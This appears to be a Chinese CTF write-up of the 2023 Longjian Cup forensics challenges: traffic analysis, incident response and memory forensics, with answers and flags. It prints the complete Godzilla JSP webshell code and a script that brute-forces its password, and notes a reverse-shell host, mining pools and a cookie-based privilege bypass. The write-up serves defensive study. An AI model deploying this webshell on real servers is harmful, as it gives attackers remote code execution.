2023陇剑杯------复现
找其他师傅要了附件,玩一玩,水一水
hard_web_1

统计会话,60字节的为连接失败

结果为80;888;8888
hard_web_2

分析流量包,找到shell.jsp中的java代码

很明显的哥斯拉jspshell,可以自己生成一个对比看看
String xc = "748007e861908c03";
class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
}
public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m?1:2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
try {
byte[] data = new byte[Integer.parseInt(request.getHeader("Content-Length"))];
java.io.InputStream inputStream = request.getInputStream();
int _num = 0;
while ((_num += inputStream.read(data, _num, data.length)) < data.length);
data = x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", data);
Object f = ((Class)session.getAttribute("payload")).newInstance();
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
f.equals(arrOut);
f.equals(pageContext);
f.toString();
response.getOutputStream().write(x(arrOut.toByteArray(), true));
}
} catch (Exception e) {}
传输内容aes加密,密钥为748007e861908c03,gzip压缩,解密即可

结果为flag{9236b29d-5488-41e6-a04b-53b0d8276542}
hard_web_3

慢慢找请求和返回包,可以找到密码组成1***y

哥斯拉加密流量中的key是密码的md5值的前16位或后16位,暴力跑
from hashlib import md5
import sys
for a in range(32,127):
for b in range(32,127):
for c in range(32,127):
for d in range(32,127):
key = f"1{chr(a)}{chr(b)}{chr(c)}{chr(d)}y"
my_md5= md5()
my_md5.update(key.encode("utf-8"))
res = my_md5.hexdigest()
if res.find("748007e861908c03") != -1:
print(f"The password is {key}")
sys.exit(0)

结果为14mk3y
server save_1

查看权限前,发送了如下请求

然后就使用了shell.jsp查看权限

经查是Spring的漏洞CVE-2022-22965
结果为CVE-2022-22965
server save_2

远程拉取反弹shell的脚本


结果为192.168.43.128:2333
server save_3

该文件的修改时间在bbbb.sh之后

结果为main
server save_4

查看shadow,还以为要分析病毒

结果为11:123456
server save_5

只看到这里有/home/guest/.log.txt

结果为172.105.202.239
server save_6

微步云沙箱跑了一下,前面几题也就明朗了


结果为lolMiner,mine_doge.sh
server save_7


结果为doge.millpools.cc:5567
server save_8

结果为DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9
Wireshark1_1


结果为192.168.246.28
Wireshark1_2

结果为youcannevergetthis
Wireshark1_3


结果为Downloads
Wireshark1_4


结果为mysql
IncidentResponse_1

ova镜像xways无法识别,不过ova可以解压出一个vmdk来,这样就可以识别了

查看历史命令,发现保存了运行日志

btmp可以找到一个ip的大量登录失败记录81.70.166.3

分析nohup.log、access.log等日志,早期有尝试sql注入

不过根据后面的批量请求来看,大概率是打了shiro的反序列化漏洞


然而日志里没发看传得参数,不知道执行了哪些命令,无奈xways递归所有文件,按修改时间排序,慢慢排查,发现redis.sh


然后在redis.conf里面找到矿池地址

结果为redis-server
IncidentResponse_2

结果为donate.v2.xmrig.com:3333
IncidentResponse_3

结果为shiro反序列化
IncidentResponse_4

结果为81.70.166.3
IncidentResponse_5


结果为Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36
IncidentResponse_6


配置了ssh
结果为/root/.ssh/authorized_keys
IncidentResponse_7

这个时间顺序出现redis.server是不正常的,而且路径被放到了systemd下面,开机自启

结果为/lib/systemd/system/redis.service
SmallSword_1

找到第一次shell请求成功的包

蚁剑的请求包,请求的key就是密码

结果为6ea280898e404bfabd0ebb702327b19f
SmallSword_2


结果为ad6269b7-3ce2-4ae8-b97f-f259515e7a91
SmallSword_3

流量里没有看到直接获取的flag,注意到这条流量

拉了个火绒下来

保存一下

先跑个云沙箱看看,检测不出来,文件头有多于数据

放了个图片出来

虚拟机运行一下,看图片

后缀jpg,实际png,改高度

结果为flag3{8f0dffac-5801-44a9-bd49-e66192ce4f57}
ez_web_1

http过滤器,info搜索200 OK


可以看到写马

结果为ViewMode.php
ez_web_2


结果为192.168.101.132
ez_web_3

传了个压缩包

压缩包有密码,之前的流量中有获取/passwd,得到密码


结果为7d9ddff2-2d67-4eba-9e48-b91c26c42337
baby_forensics_1



随波逐流梭

结果为2e80307085fd2b5c49c968c323ee25d5
实际上内存也有

baby_forensics_2

很少人用的windows命令,人家就是要考这个

结果为7598632541
baby_forensics_3

r-studio扫描一下,桌面、文档都没发现信息,音乐里发现内容,看文件名应该是密码qwerasdf

接下来就是寻找密文
发现打开了便签StikyNot.exe

memdump导出其内存,苦苦搜寻密文,最后是用对称加密的特征U2Fsd找到的密文,注意\par需要去掉,一看就不是密文内容(strings会因为这个标识搜不出完整密文,卡我蛮久)


结果为flag{ad9bca48-c7b0-4bd6-b6fb-aef90090bb98}
tcpdump_1


结果为TMjpxFGQwD:123457
tcpdump_2

刚登录进去是,userid=2,后续操作中部分流量改为1,测试越权


因此cookie为accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=1

结果为383c74db4e32513daaa1eeb1726d7255
tcpdump_3


追踪tcp流,在它上一个流中,还能看到个flagflag{7c9d4821-64dc-406c-b02b-f3538b4cba74}

结果为zyplayer:1234567
tcpdump_4

这里很明显在打洞,关键词是pgsql

搜一下是CVE-2022-21724:custom.dtd.xml
tcpdump_5

继续追流,明显的fscan

结果为fscan
hacked_1

登录成功的请求,但是用户名和密码是加密状态

后续流量发现key和iv

aes解密

结果为flag{WelC0m5_TO_H3re}
hacked_2



结果为ssti_flask_hsfvaldb
hacked_3



结果为red
hacked_4

对比一个无法解析的session



而Index这个路由却可以显示数据,说明这个路由就是写入的内存马的路由

结果为Index

浙公网安备 33010602011771号